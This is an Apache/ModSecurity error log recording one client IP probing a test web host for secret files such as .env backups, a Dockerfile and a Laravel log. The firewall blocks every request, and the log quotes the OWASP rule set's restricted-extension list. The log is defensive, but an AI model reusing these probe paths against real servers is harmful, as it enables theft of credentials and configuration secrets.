[Sun Nov 30 18:08:33.504337 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9DAAAAAg&quot;]
[Sun Nov 30 18:08:33.504542 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9DAAAAAg&quot;]
[Sun Nov 30 18:08:33.734192 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9DQAAAAg&quot;]
[Sun Nov 30 18:08:33.734397 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9DQAAAAg&quot;]
[Sun Nov 30 18:08:33.734641 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9DQAAAAg&quot;]
[Sun Nov 30 18:08:33.734852 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9DQAAAAg&quot;]
[Sun Nov 30 18:08:33.964643 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9DgAAAAg&quot;]
[Sun Nov 30 18:08:33.964805 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9DgAAAAg&quot;]
[Sun Nov 30 18:08:33.965004 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9DgAAAAg&quot;]
[Sun Nov 30 18:08:33.965208 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9DgAAAAg&quot;]
[Sun Nov 30 18:08:34.194941 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;Dockerfile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aSx6El1RgwzjQxTFQvL9DwAAAAg&quot;]
[Sun Nov 30 18:08:34.195154 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aSx6El1RgwzjQxTFQvL9DwAAAAg&quot;]
[Sun Nov 30 18:08:34.195370 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aSx6El1RgwzjQxTFQvL9DwAAAAg&quot;]
[Sun Nov 30 18:08:34.655622 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aSx6El1RgwzjQxTFQvL9EQAAAAg&quot;]
[Sun Nov 30 18:08:34.655841 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aSx6El1RgwzjQxTFQvL9EQAAAAg&quot;]
[Sun Nov 30 18:08:34.656058 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aSx6El1RgwzjQxTFQvL9EQAAAAg&quot;]
[Sun Nov 30 18:08:34.885885 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aSx6El1RgwzjQxTFQvL9EgAAAAg&quot;]
[Sun Nov 30 18:08:34.886137 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aSx6El1RgwzjQxTFQvL9EgAAAAg&quot;]
[Sun Nov 30 18:08:34.886428 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aSx6El1RgwzjQxTFQvL9EgAAAAg&quot;]
[Sun Nov 30 18:08:35.116049 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9EwAAAAg&quot;]
[Sun Nov 30 18:08:35.116215 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9EwAAAAg&quot;]
[Sun Nov 30 18:08:35.116442 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9EwAAAAg&quot;]
[Sun Nov 30 18:08:35.116736 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9EwAAAAg&quot;]
[Sun Nov 30 18:08:35.346222 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9FAAAAAg&quot;]
[Sun Nov 30 18:08:35.346626 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9FAAAAAg&quot;]
[Sun Nov 30 18:08:35.347081 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9FAAAAAg&quot;]
[Sun Nov 30 18:08:35.577542 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9FQAAAAg&quot;]
[Sun Nov 30 18:08:35.577758 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9FQAAAAg&quot;]
[Sun Nov 30 18:08:35.577969 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9FQAAAAg&quot;]
[Sun Nov 30 18:08:35.807467 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aSx6E11RgwzjQxTFQvL9FgAAAAg&quot;]
